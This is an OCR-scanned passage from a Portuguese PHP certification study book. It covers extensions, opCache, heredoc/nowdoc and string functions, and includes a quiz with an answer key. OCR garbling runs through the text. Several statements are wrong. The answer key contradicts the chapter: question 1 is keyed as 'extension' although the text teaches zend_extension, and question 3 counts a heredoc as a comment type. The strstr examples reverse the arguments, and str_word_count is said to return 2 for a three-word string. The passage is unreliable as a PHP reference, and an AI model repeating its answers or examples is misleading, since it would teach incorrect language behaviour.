return new PDO($dsn, $usuario, $senha);

Executando esse codigo, um erro fatal é exibido, dizendo que
ndo foi possivel encontrar a classe PDO. Isso acontece porque o
PHP primeiramente procura classes utilizadas dentro do namespace
atual, e como realmente nao temos nenhuma classe PDO, o erro ¢é
langado. Para usar a classe PDO ou qualquer outra classe do préprio
PHP, devemos utilizar a barra invertida no come¢o do nome da
classe.
<?php

public function getConexao()

{

return new \PDO($dsn, $usuario, $senha);
}
1

2.15 EXTENSOES

PHP nos possibilita usar extensdes para funcionalidades que o
préprio PHP nao possui no seu core. Podemos usar extensoes
escritas nativamente para PHP habilitando-as pelo arquivo de
configuragdo php.ini , ou até mesmo pela PECL (PHP Extension
Community Library). Para a certificagdo, ¢ extremamente
importante entender como utilizar as extensdes e como configura-
las. Nesta se¢do, vamos focar no entendimento de como uma
extengdo funciona e como configura-la.
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O arquivo de configuragio php.ini nos oferece a segio
Dynamic Extensions, onde podemos alterar para adicionar novas
extensoes no PHP. E possivel informar apenas o nome da extensdo
desejada ou informar o caminho completo. Informando apenas o
nome da extensdao, o PHP vai procurar no diretério padrao das
extensoes, definido na diretiva extension_dir . Para Linux, os
arquivos de extensoes sdo do tipo .so , e para Windows é .d11 .

PRR AR R R IR R RN R R R R AR RN RS

; If you wish to have an extension loaded automatically, use the following
; syntax:
; extension=modulename.extension
For example, on Windows:
extension=msql.dll
. or under UNIX:
extension=msql.so
. or with a path:

extension=/path/to/extension/msql.so

; If you only provide the name of the extension, PHP will look for it in its
default extension directory.

'
’
’
'
'
'
’
'
'
'
’
’
'
'
'
’
’

Figura 2.2: Secdo do arquivo php.ini para habilitar/desabilitar extensoes

« Informando apenas o nome da extensao:
extensions=nome_da_extensao.so
¢ Informando o caminho completo da extensao:

extensions=/home/ext/nome_da_extensao.so

Agora que ji sabemos onde habilitar as extensoes, podemos
instalar pelo PECL (PHP Extension Community Library). Assumirei
que vocé ja tem todos os pacotes necessarios para iss. A instalagio
do PEAR (extensdes da PECL sdo distribuidas via PEAR) esta além
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deste livro, porém ¢é facil encontrar como proceder com a instalagdo
no site oficial do PHP. Para maiores informagdes, veja em
http://php.net/manual/pt_BR/install.pecl.intro.php.

A PECL nos auxilia, pois existem muitas extensdes disponiveis
para serem usadas, como por exemplo: APC, cassandra, bz2, entre

outros.

+ o Contents of :: Top Level

Authentication s Benchmarking (=
Bacumpmantias: sonietiath. haliS. PAM. fadhus » Crfiace. mcheed. memptil

Caching 12) Configuration ()
Bomaisads: APC. APCy. chifh. coherence » ugeqs. Zogkeener

tabiase

Figura 2.3: Site oficial PECL

Podemos instalar extensdes do PECL facilmente pela linha de

comando no Linux:
sudo pecl install nome_da_extensao

Apos a instalagdo da extensdo terminar, serd necessario alterar o
php.ini na se¢do Dynamic Extensions e habilitar a extensao
instalada. Nao sera necessario se preocupar com o local de onde a
extensao foi instalada, pois instalagdes através do PEAR utilizam o
diretério padrao das extensdes.

2.16 OPCACHE

Antes de entrarmos no detalhe do opCache, precisamos
primeiro entender o que é opCode, pois opCache nada mais ¢ do
que cachear opCodes. Como na maioria dos itens relacionados a
computacao, opCode é uma abreviagdo para operation code (codigo
de operagdo), que nada mais é do que o coédigo que a maquina
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entende (codigo que de fato a maquina executard), ou seja, o
opCache realiza um cache desse codigo.

Na versdo 5.5 do PHPk foi acrescentado opCache que utiliza a
técnica de cache em baixo nivel, criando cache do cédigo que a
maquina entende logo ap6s o PHP efetuar a andlise e compilag¢ao do
script.

A partir do PHP 5.5, opCache ja vem junto ao core do PHP,
porém para versdes anteriores (como 5.2, 5.3 ou 5.4), é possivel
utilizar opCache através do PECL. Como o nosso foco aqui é a
certificagaio PHP 5.5, ndo seguirei os passos de instalagio do
opCache. Veja o fluxo a seguir de execu¢ao do PHP sem a utilizagao
do opCache, o fluxo normal:

Figura 2.4: Fluxo padrao de execugao de um arquivo PHP sem utilizar opCache

No mundo PHP, sabemos que nado precisamos compilar o nosso
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cddigo para executd-lo como as linguagens tipadas Java e C++
fazem. Porém, o PHP de fato compila o cédigo antes de executa-lo
internamente pela Zend Engine. Primeiramente, o PHP realiza a
analise da sintaxe, compila e obtém como resultado um bytecode
(bytecodes gerados pelo PHP sdo similares ao gerados pelo Java, que
sdo executados pela JVM), e finalmente temos a fase de execucio.

A cada requisi¢ao feita, esse ciclo se repete e todo o resultado do
processo era descartado. Ou seja, a requisicdo X ndo tem nenhuma
relagio com a requisicio feita anteriormente, e nido era feito
nenhum tipo cache para isso. Mas se pararmos para pensar,
dificilmente um arquivo muda entre uma requisicdo e outra, e é
nesse cenario que opCache entra. Veja o novo fluxo com o opCache
ativo:
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Figura 2.5: Fluxo de execugdo de um arquivo PHP utilizando opCache

Anteriormente ao opCache, quem fazia esse papel era a APC.
Porém, nao ¢ possivel utilizar os dois a0 mesmo tempo, por esse
motivo o opCache vem desabilitado por padrao.

Mas caso vocé queira habilitar a extensdo, tudo o que vocé
precisa fazer é adicionar a seguinte linha ao seu arquivo de
configuragdo do PHP ( php.ini ):

zend_extension = opcache.so
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Apds habilitar a extensdo, a primeira coisa é saber se de fato o
opCache esta sendo usado, e é pela fungdo opcache_get_status
que descobrimos o que esta acontecendo.

print_r(opcache_get_status());
O script nos retorna uma série de informagdes dentro do array:

Array
(
[opcache_enabled] => 1
[cache_full] =>
[restart_pending] =>
[restart_in_progress] =>
[memory_usage] => Array
(
[used_memory] => 464
[free_memory] => 400
[wasted_memory] => 0
[current_wasted_percentage] => 0

)

[opcache_statistics] => Array
(

[num_cached_scripts] => 1
[num_cached_keys] => 1
[max_cached_keys] => 07
[hits] => ©
[start_time] => 26
[last_restart_time] => 0
[oom_restarts] => 0
[hash_restarts] => 0
[manual_restarts] => 0
[misses] => 1
[blacklist_misses] => 0
[blacklist_miss_ratio] => 0
[opcache_hit_rate] => 0

)

[scripts] => Array
(
[/zce/opcache/status.php] => Array

(
[full_path] => /zce/opcache/status.php

[hits] => 0
[memory_consumption] => 400
[last_used] => Mon Jan 1 1:11:11 2016
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[last_used_timestamp] => 1111111111
[timestamp] => 222222222

Além do status do opCache, podemos também verificar quais
configuragdes estio sendo utilizadas pelo PHP através da funcéo

opcache_get_configuration :
print_r(opcache_get_configuration());

Essa func¢do também nos retorna um array com vdrias
informagdes, porém com informagdes a respeito da configuragao
utilizada pelo opCache:

Array
(
[directives] => Array
(
[opcache.enable] => 1
[opcache.enable_cli] =>
[opcache.use_cwd] => 1
[opcache.validate_timestamps] => 1
[opcache.inherited_hack] => 1
[opcache.dups_fix] =>
[opcache.revalidate_path] =>
[opcache.log_verbosity_level] => 1
[opcache.memory_consumption] => 640
[opcache.interned_strings_buffer] => 4
[opcache.max_accelerated_files] => 2000
[opcache.max_wasted_percentage] => 0.05
[opcache.consistency_checks] => 0
[opcache.force_restart_timeout] => 150
[opcache.revalidate_freq] => 2
[opcache.preferred_memory_model] =>
[opcache.blacklist_filename] =>
[opcache.max_file_size] => 0
[opcache.error_log] =>
[opcache.protect_memory] =>
[opcache.save_comments] => 1
[opcache.load_comments] => 1
[opcache.fast_shutdown] =>
[opcache.enable_file_override] =>
[opcache.optimization_level] => 4444444
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[version] => Array

(

[version] => 7.0.2
[opcache_product_name] => Zend OPcache

)
[blacklist] => Array

(
)

Como estamos tratando de cache em algum determinado
momento, vamos precisar resetar esse cache, ou seja, deletd-lo para
ser gerado novamente. Para isso, o opCache do PHP nos fornece
uma maneira totalmente simples para fazer isso por meio da fun¢io

opcache_reset .

opcache_reset();

Com essa simples chamada, todo o opCode armazenado sera
eliminado e recacheado na préxima requisigdo. O retorno dessa
funcao é um valor booleano que retornard true ao resetar o cache
com sucesso, ou false se o opCache estiver desabilitado.

Por dltimo, mas ndo menos importante, temos a funcdo
opcache_compile_file que compila e armazena no cache o
arquivo sem executd-lo. Sua utilizagdo é muito intuitiva, basta
chamar a fung¢éo passando o nome do arquivo.

opcache_compile_file('meu_arquivo.php');

E ¢ possivel passar o caminho completo junto com o nome do
arquivo também:

opcache_compile_file('/local/do/arquivo/meu_arquivo.php');

S6 € necessdrio atentarmos que um NOTICE ¢ gerado caso vocé
tente executar essa fun¢do no seu script PHP com o opCache
desabilitado.

PHP Notice: Zend OPcache seems to be disabled, can't compile file
in /zce/opcache/compile.php on line 3
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PHP Stack trace:
PHP 1. {main}() /zce/opcache/compile.php:0
PHP 2. opcache_compile_file() /zce/opcache/compile.php:3

Vocé pode ver todas as opgdes de configuragao para o opCache
no proéprio site oficial do PHP
(http://php.net/manual/pt_BR/opcache.configuration.php).

2.17 TESTE SEU CONHECIMENTO

1) Qual diretiva vocé deve usar no php.ini para adicionar a
extensao opCache? Escolha apenas uma.

a) extension

b) zend_extension

c) dl

d) extension_ts

e) zend_extension_ts

2) Quais desses elementos sio construtores de linguagem?
Escolha apenas um.

a) array()
b) continue
¢) echo()
d) print()
e) eval()
) exit()

3) Quais tipos de comentarios sao suportados pelo PHP?
Selecione no minimo trés.
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a) <<<PHP_COMMENT PHP_COMMENT;
b) // ..
c) /* */
d) #
4) Dado o codigo:

$data = 048;
$var = (string) $data;

Qual afirmagao é a correta?

a) PHP ira exibir um erro fatal e a execucdo do script sera finali
zada.

b) $var é igual a 0.
c) $var é igual a FALSE.
d) $var é igual a 4.
e) $var é igual a 48.
5) Qual é a saida do cédigo a seguir?
$a = 'minhavar';

switch ($a) {
case 0:
echo 'case 0';
case 'minhavar':
echo 'caso minhavar';
case 'nothing':
echo 'caso nada';

6) Qual a saida do cédigo a seguir?

$a = 1;

++ $a;

$a *= $a;
echo $a --;

a) 4
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b) 3
c) 5
d) 0
e) 1

7) Qual 0 nome da constante que o PHP utiliza para informar
que o cddigo nao funcionara no futuro?

a) E_NOTICE
b) _ CLASS__
c) E_WARNING
d) E_DEPRECATED
e) E_ALL
8) Qual é o resultado da operagao (5 & 3)?
a) 64
b) 1
c) o
d) 32
e) 01
9) Qual é o resultado da operagao (5 | 3)?
a) 2
b) 1
c) o
d) 9
e) 7

10) Qual é o resultado da operagcio ~9 ?
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a) -2
b) 1
c) o
d) -10

e) 7

2.18 O BASICO NEM SEMPRE E TAO BASICO

Embora este capitulo tenha o nome de basico, existem muitos
detalhes sobre a linguagem que devemos levar em consideragao.
Demos exemplos de construtores de linguagem, utilizacdo de
namespaces e até utilizacao de bitwise, entre outros.

Mas é claro que podemos sempre nos aprofundar nos topicos
apresentados, ou ir além. Nao se limite ao que foi abordado neste
livro. E se vocé nao sabe pra onde ir a partir daqui, teremos algumas
dicas.

A primeira delas é a utilizagdo de precedéncia de operadores
(http://php.net/manual/pt_BR/language.operators.precedence.php),
que basicamente é a definicao de qual operador tem prioridade
sobre o outro. Isso se mostra muito importante ao fazer operagdes
matematicas.

A segunda ¢ um item bem importante para a certificagdo, que
sio as diretivas do php.ini definidas por usudrio
(http://php.net/manual/pt_BR/configuration.file.per-user.php).
Podemos usar essas configuragdes para que o PHP leia de diferentes
diretdrios, além do diretdério padrao de instalagdo. Vale a pena dar
uma olhada.

E por ultimo, mas ndo menos importante, sao as estruturas de
controle (http://php.net/manual/pt_BR/language.control-
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structures.php), que ndo foram abordadas neste livro, mas é
importante também ter todas elas frescas na cabeca.

Lembre-se: apenas comecamos o nosso livro sobre a certificagdo
de PHP, temos uma longa jornada pela frente.

2.19 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, niao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!

QUESTOES

Questao 1 - Resposta correta: a

Questdo 2 - Resposta correta: exit

Questao 3 - Resposta correta: a,b e c

Questao 4 - Resposta correta: a

Questio 5 - Resposta correta: caso minhaVarcaso nada
Questao 6 — Resposta correta: a

Questio 7 - Resposta correta: d

Questio 8 - Resposta correta: b

Questdo 9 - Resposta correta: e

Questao 10 - Resposta correta: d
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CapiTuLO 3

STRINGS E PADROES

Como em qualquer outra linguagem de programagdo, o PHP
possui inumeras fungdes para tratamento de strings. Neste capitulo,
vamos descobrir as facilidades e os truques escondidos dentro das
principais fun¢des de manipulagao de string e expressoes regulares.

O intuito de dedicarmos um capitulo somente a esse assunto é
reunir as fungdes/padroes que provavelmente aparecem no exame
de certificagdo. O que quer dizer que ndo nos preocupamos em
tornar este capitulo como uma documentagdo, mas sim um guia.
Para cada func¢éo, damos um exemplo e, quando achamos que vale a
pena, deixamos algumas referéncias para vocé se aprofundar.

A primeira coisa em que vamos nos aprofundar ¢ na utilizagao
de HEREDOC e NOWDOC , uma notagdo pouco conhecida e pouco
usada pelas aplicacoes hoje escritas em PHP, mas que possuem um
poder muito grande quando precisamos exibir textos longos.

3.1 HEREDOC, NOWDOC?

Ao nos depararmos com frameworks que utilizam MVC
(Model-View-Controller), logo percebemos que devemos separar
responsabilidades para um codigo mais legivel e de facil
manutenc¢ao. Ou seja, todo o nosso cddigo que sera exibido para o
usudrio como HTML, por exemplo, deve ficar na View, a regra de
negdcio na Model, e a Controller deve realizar o meio de campo,
entre a View e a Model.
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Mas, as vezes, precisamos usar diretamente em nossas classes
pedacos grandes de string, como por exemplo, retornar um HTML
ou uma consulta SQL. Quando isso ocorre, normalmente
concatenamos nossas strings

$consulta = 'SELECT id, nome, idade FROM aluno '
'"INNER JOIN aluno_historico ON id = id '
'"INNER JOIN tabela 2 '
'"INNER JOIN tabela 3 '
'"INNER JOIN tabela 4 '
'WHERE aluno status IS NOT IN (1, 2, 3) '

Para amenizar essa dificuldade de leitura do cédigo quando
precisamos obter um texto grande, podemos utilizar NowDoC . Nele
delimitamos o comeco e fim para que o PHP interprete um bloco
como uma string, tornando assim o cédigo mais limpo e mais facil
de entender.
$texto = <<<'MEUTEXTO'

SELECT id, nome, idade FROM aluno

INNER JOIN aluno_historico ON id = id

INNER JOIN tabela 2

INNER JOIN tabela 3

INNER JOIN tabela 4
WHERE aluno status IS NOT IN (1, 2, 3)

MEUTEXTO;

A primeira vista, a sintaxe parece um pouco estranha, mas ¢
bem simples. A primeira coisa a se observar é a utilizacdo de aspas
simples ( ' ) indicando que isso é um texto puro, ou seja, nao existe
a interpretagdo de variavel. Caso alguma variavel for informada

dentro do bloco entre <<<'MEUTEXTO' e MEUTEXTO , ele serd
exibido literalmente.
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$texto = <<<'MEUTEXTO'
Essa é a minha variavel $a e essa € outra $b
MEUTEXTO;

O resultado desse codigo sera:
Essa é a minha variavel $a e essa é outra $b

Devemos também ficar atentos sobre a tag de fechamento do

NOWDOC , pois ela deve ser a primeira instrugdo na linha que se

encerra o bloco, sem tab e sem espagos. Essa é uma possivel
pegadinha que pode cair na prova de certificagdo.

e Forma invalida de fechar o bloco nNowpoc :

$texto = <<<'MEUTEXTO'
Meu texto
MEUTEXTO;

e Forma vialida de fechar o bloco nowbpoc :

$texto = <<<'MEUTEXTO'
Meu texto
MEUTEXTO;

O NowboCc como vimos ¢ utilizado para texto puro, e ndo
conseguimos interpretar variaveis. E ai que o HEREDOC entra em
cena. Com ele, seguimos as mesmas regras aplicadas com o

NOWDOC , porém ndo usamos aspas simples e podemos utilizar
variaveis.
$a = 10;
$texto = <<<MEUTEMPLATE

Agora podemos utilizar a variavel, e 5 + 5 é $a
MEUTEMPLATE;

O resultado é:

Agora podemos utilizar a variavel, e 5 + 5 é 10

3.2 MANIPULANDO STRINGS
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PHP nos fornece inumeras fun¢des para a manipulacido de
strings. Infelizmente, ndo temos nada ainda orientado a objetos
como em Java, mas as fun¢des fornecidas sdo muito poderosas.
Entretanto, apesar de o PHP ndo ser uma linguagem tipada,
devemos tomar muito cuidado ao utilizarmos a fun¢do strpos ,
pois ela retorna a posi¢ao da primeira ocorréncia de um caractere
em uma string.

$texto = 'abcde';
print strpos($texto, 'b'); //1

O resultado sera 1, pois na string texto foi encontrado o
caractere correspondente nessa posi¢do. Com isso, podemos fazer a
seguinte verificagdo:

$texto = 'abcde';
if(strpos($texto, 'b')) {

print 'Ola eu existo';

Nenhuma novidade até aqui. Teremos como resultado a frase
0la eu existo . Agora vamos analisar o seguinte codigo e aplicar

a mesma regra:
$texto = 'abcde';
print strpos($texto, 'a'); //0

Temos como retorno zero, mas encontramos o caractere
desejado na string. E se aplicarmos a mesma comparagdo, o que
teremos como resultado?

$texto = 'abcde';
if(strpos($texto, 'a')) {

print '0Ol4 eu existo';

Dessa vez, o resultado desejado ndo sera obtido, pois
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encontramos o caractere na posigao 0 (zero), e o PHP entende que 0
convertido para booleano é FALSE .

Nesse caso, para atingirmos o resultado desejado, devemos
comparar valor e tipo para nos certificarmos de que realmente
nenhuma ocorréncia foi encontrada.

$texto = 'abcde';

if(false === strpos($texto, 'a')) {
print '0la eu existo';

Entretanto, devemos entender como utilizar esse tipo de
comportamento, pois podemos aproveitd-lo também. Vamos
imaginar que vocé precise buscar um caractere em uma string,

porém nao se deve considerar a primeira letra.

Nesse contexto, strpos se encaixa perfeitamente e podemos
utiliza-la sem medo. Para maiores informac¢des sobre como o
PHP gerencia valores e tipos, podemos acessar a documentagao
oficial, em
http://php.net/manual/pt_BR/types.comparisons.php.

A fun¢do strpos nos oferece ainda um terceiro pardmetro,
onde podemos especificar de qual ponto da string comegard a busca.

$texto = 'abcde';
if(false === strpos($texto, 'a', 1)) {

print '0Ola eu existo';

Nao vamos ter saida nenhuma ao executar esse exemplo, pois
estamos comecando a partir do segundo caractere da string, ou seja,
aletra b, como mostra a tabela a seguir.
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Figura 3.1: Posi¢oes da string

Um detalhe importante é que, com a fun¢do strpos , nio é
permitido utilizar valores negativos no terceiro parametro.

$comecar = -1;
if(false === strpos($texto, 'a', $comecar)) {
1

Ao utilizarmos algum valor negativo, um WARNING ¢ exibido e
a fun¢ao retornara falso.
PHP Warning: strpos(): Offset not contained in string in /zce/str
pos.php on line 5
PHP Stack trace:

PHP 1. {main}() /zce/strpos.php:0
PHP 2. strpos() /zce/strpos.php:5

Agora que ja entendemos strpos , podemos seguir para a
fun¢do stripos , que tem exatamente o mesmo comportamento
que a fungdo strpos , porém com uma pequena diferenca.

stripos ndo leva em consideracdo letras maiusculas ou
minuscula, ou seja, a string php é a mesma que PHP .

$texto = 'ABCDE';
if(false === stripos($texto, 'a')) {

print '0la eu existo';

Veja no exemplo anterior que, embora a variavel $texto esteja
toda em letra maidscula, estamos procurando nela uma string de
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letra mintscula, o que torna a nossa busca vélida, pois, com
stripos , sera ignorada essa verificagdo e a letra A serd a mesma

quealetra a .

0l4 eu existo

3.3 STRINGS TAMBEM SAO ARRAYS?

Como PHP ¢ uma linguagem escrita em C, obtemos alguns
comportamentos dessa linguagem que se aplicam totalmente em
PHP. E uma delas é que podemos iterar sobre strings, pois strings
nada mais sdo do que arrays.

$texto = 'Zend Certified Engineer';

for ($i = 0; $i < strlen($texto); $i++)

{
print $texto[$i];

}

Ao final da execu¢do do script, obtemos o resultado zend
Certified Engineer .

strstr

Utilizamos a fun¢do strstr para retornar uma parte do texto a
partir da primeira ocorréncia da letra que estamos tentando
encontrar. Para ficar mais facil o entendimento, imagine que
precisamos retornar apenas o dominio do e-mail (a parte do e-mail
depois do sinal @ , como @gmail.com, @outlook.com)

$email = 'php@php.net';
print strstr('@', $email);

Com a fungdo strstr , essa tarefa se torna facil, pois s6
precisamos especificar a partir de qual string devera ser retornado o
texto. Veja o resultado a seguir ao executar o script anterior:
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@php.net

E possivel também ter o comportamento oposto, ou seja, em vez
de retornar o dominio do e-mail, retornar sua assinatura:

$email = 'php@php.net';
print strstr('@', $email, true);

E ao executarmos o script, temos a assinatura do nosso e-mail,
conforme esperado.

php
substr

Uma tarefa comum em aplicagbes PHP é a necessidade de
extrair uma por¢ao da string. Para isso, usamos a fungdo substr ,
que nos permite obter exatamente esse tipo de comportamento.
Para o nosso exemplo, vamos assumir que temos um co6digo
(A3-11111.ABC) e devemos extrair os dois primeiros caracteres
que correspondem a sua categoria.

$codigo = 'A3-11111.ABC';
print substr($codigo, 0, 2); // A3

Com esse codigo, chegamos ao resultado esperado, que é o A3,
achar a categoria. Para isso, utilizamos o substr e passamos 3
argumentos:

1. A string desejada (de onde vamos extrair).

2. De onde comecaremos a recortar, qual posi¢cdo. Nesse caso,
vamos comegar pelo primeiro caractere existente.

3. Informamos qual sera o tamanho da por¢io que vamos
extrair. Nesse caso, extrairemos apenas 2 caracteres que
representam a categoria.
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Mais uma vez, vale ressaltar que a documentagdo oficial do
PHP possui inimeros exemplos de como utilizar a funcéo.
Basta consultar 0 link:
http://php.net/manual/pt_BR/function.substr.php.

trim, ltrim e rtrim

Uma func¢do bem conhecida é a fung¢do trim , que remove os
espagos em branco no comego e no final da string.
$livro = ' PHP ';

print trim($litro); // PHP

Porém, podemos utilizar a fungdo trim para remover nio sé
espagos no comego e no final da string, mas também especificar um
caractere (ou uma string) para ser removido.

$nome = 'aPHPa';
print trim($nome, 'a');

Aqui temos um exemplo simples de onde queremos remover a
letra a do comeco e do final da string. Isso é facilmente realizado
pela fun¢ao trim ao especificar o caractere que desejamos.

PHP

Agora que ja entendemos a utilizagdo da fungdo trim , fica
mais facil entender as fungdes que derivam dela, como a 1trim ,
que remove 0s espagos em brancos (por padrao) de uma string ou
remove a string desejada. Vamos utilizar o mesmo valor da variavel
$nome para ficar mais facil.

$nome = 'aPHPa';

print ltrim($nome, 'a');
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Diferentemente do resultado anterior, nesse exemplo ficamos
comaletra a no final da nossa string.

PHPa

E é claro que podemos remover apenas os caracteres no final (ou
0 espago em branco, caso nenhum caractere for especificado) da
string. Para isso, usamos a fun¢do rtrim .

$nome = 'aPHPa';
print rtrim($nome, 'a');

Ainda com o mesmo exemplo, vamos obter um resultado
diferente. Agora aletra a foi removida apenas do final da string.

aPHP

PHP possui uma fun¢do chamada chop , que é apenas uma
atalho para a fungdo rtrim . Entdo, lembre-se: ao ver a fungdo
chop , ela terd o mesmo comportamento que a fungio

rtrim.

str_replace

Uma tarefa comum a se realizar nas aplicagdes é a substituicao
de textos. PHP possui a fungdo str_replace para essa finalidade.
$texto = 'Comprei um livro da cor azul';
print str_replace('azul', 'laranja', $texto);

A maneira mais simples de se utilizar a funcdo str_replace ¢é
informando os trés pardmetros basicos: o texto a ser procurado, o
texto que vai no lugar do texto procurado, e o texto que sera
realizado a substituicao.
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Comprei um livro da cor laranja

Podemos também especificar um array para ambos: o texto a ser
substituido e o texto a ser procurado. Se os arrays sio
correspondentes, a troca é feita na ordem dos elementos.

$texto = 'Comprei um livro da cor azul e amarelo';
’

print str_replace(['azul', 'amarelo'], ['laranja', 'preto'], $text

)

Em nosso exemplo, temos a cor azul na posi¢do zero, que sera
substituida pela cor laranja, que estd na posi¢ao zero também. O
mesmo ocorre com os itens na posi¢do 1 do array.

Comprei um livro da cor laranja e preto

Porém, ndo é apenas isso que conseguimos com a fungio
str_replace . Além disso, temos alguns comportamentos bem
dindmicos:

$texto = 'Comprei um livro da cor azul e amarelo';
print str_replace(['azul', 'amarelo'], 'lilas', $texto);

Podemos utilizar um array com o texto a ser substituido por um
mesmo texto informado como string no segundo parametro. Em
nosso exemplo, substituimos os textos azul e amarelo por
lilas .

Comprei um livro da cor 1liléds e 1lilas

E finalmente, a fungdo str_replace nos fornece o nimero
total de substitui¢oes feitas no texto:

$texto = 'Comprei um livro da cor azul e amarelo';
$substituicoes = 0;

str_replace(['azul', 'amarelo'], 'lilas', $texto, $substituicoes);
print $substituicoes;

Nesse exemplo, estamos utilizando o mesmo texto do exemplo
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anterior, no qual efetuamos duas substitui¢des. Porém, agora
estamos interessados no numero de substituicdes realizadas que
estamos armazenando na variavel $substituicoes :

Um detalhe importante é que o pardmetro usado para contar o
total de substituicoes realizadas é passado por referéncia, e ndo por
valor, o que nao torna possivel passar um valor estatico.

str_replace(['azul', 'amarelo'], 'lilas', $texto, 0);

Caso vocé tente passar um valor estatico, como o valor zero do
exemplo anterior, um FATAL ERROR ¢ exibido:

PHP Fatal error: Only variables can be passed by reference in /zc
e/str_replace.php on line 5

Fatal error: Only variables can be passed by reference in /zce/str
_replace.php on line 5

O erro anterior nos diz que nao é possivel passar valor estatico
por referéncia, apenas variaveis.

strcasecmp

Para realizar uma compara¢do bindria com strings em PHP,

possuimos algumas fun¢des que nos auxiliam, como a

strcasecmp , que realiza uma comparagao independentemente de
letras maitsculas ou minusculas.

$stringl = 'ola!';
$string2 = 'oLa!';

if ( 0 === strcasecmp($stringl, $string2)) {
print 'Iguais !';

}
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Utilizando strcasecmp , devemos nos atentar ao seu retorno
para saber se realmente as strings sdo iguais ou divergentes. No
exemplo anterior, serd retornado 0 (zero), pois as strings sdo
idénticas e serd exibida a mensagem Iguais .

Mas essa fungdo possui outros retornos exemplificados pela
tabela a seguir:

Valor Retorno

Menor que 5 . . -
A fungdo retornard menor que zero se a string passada como primeiro

zf;o (1,-2,-3 parametro for menor do que a string passada no segundo.

Maior que A fungdo retornard maior que zero se a string passada como primeiro
quero (1,2, 3) paradmetro for maior que a string passada como segundo.

Zero (0) Se as duas strings forem iguais.

Caso vocé precise desse mesmo comportamento, mas precise ser
levado em consideragdo letras maitsculas e minusculas, utilize a
funcao strcmp .

Podemos testar os retornos com os seguintes exemplos:

$stri = "livroABC";
$str2 = "livroABC";

var_dump(strcmp($strl, $str2));

Como vocé pode perceber, a (string) 1livroABC é retornada
um int(0) ao utilizarmos strcmp em nosso var_dump . Isso
ocorreu pois ndo existem diferengas entre as strings.

Agora vamos criar um teste onde todas as letras de nossa string
fiquem minusculas, por exemplo:

$str1 = "livroabc";
$str2 = "livroABC";

var_dump(strcmp($stri, $str2));
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Agora o retorno ficou diferente, pois como a string nio estd
igual, o PHP retorna que agora existe uma diferenga de padrao.

Realizaremos mais um teste onde vamos acrescentar ao final
uma nova sigla, que é (R), e vocé vera que o PHP retorna um inteiro
de (1), pois a tnica diferenga encontrada é essa nova sigla inserida
ao final da string. Veja o exemplo:

$strl = "1livroABCDR";
$str2 = "1livroABCD";

var_dump(strcmp($stri, $str2));

Para finalizar, vamos alterar nossa segunda varidvel
acrescentado ao final dela a sigla (R), e vocé vera que o PHP retorna
um inteiro (-1), indicando que existe uma diferenca na segunda
string, por exemplo:

$strl = "livroABCD";
$str2 = "livroABCDR";

var_dump(strcmp($strl, $str2));

Para maiores informagdes sobre essas fungdes, veja
http://php.net/manual/pt_BR/function.strcasecmp.php  para

strcasecmp ) e
http://php.net/manual/pt_BR/function.strcmp.php para
strcmp .

3.4 SIMILARIDADE ENTRE STRINGS

Até agora, vimos como comparar strings de uma maneira
estrita, onde queremos saber se uma string é exatamente igual a uma
outra. Porém, com PHP, conseguimos também usar fungdes como

similar_text  para determinar o quanto uma string é
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correspondente a outra. Imagine que precisamos achar algum
endereco, mas nao sabemos se o local é uma rua ou avenida.
Podemos utilizar similar_text para determinar esse tipo de
similaridade.

$stringl = 'Av. Livro de Certificacédo PHP';
$string2 = 'Rua, Certificacdo PHP';

print similar_text($stringl, $string2);

No exemplo anterior, similar_text vai nos retornar o
nimero de caracteres que existem em ambas as strings, que nesse
caso é 19, pois a parte correspondente em ambas as strings é o texto
Certificagdo PHP . Repare que existe um espago em branco antes
da palavra Certificacgéo , por isso o resultado em questdo é 19, e
nao 18.

Muitas vezes, saber somente quais caracteres sdo iguais em
ambas strings ndo nos fornece muita flexibilidade. Com
similar_text , podemos passar um terceiro parametro para saber
qual é a porcentagem de similaridade entre as strings.
$porcentagem = 0;

$stringl = 'Av. Livro de Certificacdo PHP';
$string2 = 'Rua, Certificacdo PHP';

print similar_text($stringl, $string2, $porcentagem);

Adicionando o terceiro parametro, possuimos o valor em
porcentagem (que nesse caso é 70.37037037037) da similaridade do
texto. Esse valor é passado por referéncia, e o valor de retorno da
fun¢ao nao é modificado.

Continuando nesse mundo de similaridades entre strings,
possuimos a fun¢ao levenshtein , que nos retorna qual o nimero
de caracteres que devemos substituir para possuir duas strings
idénticas.

$stringl = 'Av. Livro de Certificacédo PHP';
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$string2 = 'Rua, Certificacdo PHP';
print levenshtein($stringl, $string2);

A ordem das strings passadas para a fun¢do é muito importante,
pois a fun¢do  levenshtein  calcularda quantos caracteres
precisamos mudar na $stringl para transformd-lana $string2 .
E se alterarmos a ordem dos parametros, teremos resultados
diferentes.

A fungdo levenshtein possui alguns parametros a mais para
serem usados. Para maiores informacdes sobre essa funcio,
veja a  documentagio  oficial do  PHP, em
http://php.net/manual/en/function.levenshtein.php.

3.5 CONTANDO CARACTERES

Frequentemente, desejamos contar o total de caracteres que uma
determinada string possui. Para isso, PHP conta com a fungdo
strlen . Com ela, é possivel contar a quantidade existente de
caracteres em uma string, porém devemos tomar cuidado com o seu

comportamento.

Antes de passar para a resposta, tente interpretar o codigo a
seguir:

print strlen('1\n2');

Se vocé ficou em duvida sobre o caractere de quebra de linha
\n , ndo se preocupe, vocé ndo foi o tnico. A resposta certa é 4.
Esse é o resultado obtido exatamente pelo uso de aspas simples.
Com isso, o PHP sempre interpretara a string como um texto plano.

Agora que entendemos como funciona com aspas simples,
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podemos supor como vai acontecer com aspas duplas. Novamente,
antes de ver a resposta, tente interpretar o cédigo a seguir:

print strlen("1\n2\t");

Se vocé respondeu 4, acertou. Dessa vez, com aspas duplas, o
PHP interpretara os caracteres especiais de formatagdo \n e \t
antes de realizar a contagem, ou seja, para cada um dos caracteres
especiais, contamos 1. Apds isso, ficamos apenas com os caracteres
1 e 2, que contamos normalmente, o que nos leva a 4.

Apesar de ser uma coisa muito logica, precisamos parar e
analisar a sintaxe para ndo cair nessa pegadinha na prova.

3.6 CONTANDO PALAVRAS

Caso ndo queira contar caractere por caractere, mas por palavra,
str_word_count faz o trabalho perfeitamente.

$nome = 'Zend Certified Engineer';

print str_word_count($nome); //2

Apoés a execugdo do script, obtemos 2 como resultado, mas
podemos fazer algo mais complexo com essa funcao.

3.7 FUNCOES FONETICAS

Antes de iniciarmos com as func¢des fonéticas para o PHP,
devemos aprender o que é o algoritmo fonético, mais conhecido
como SOUNDEX.

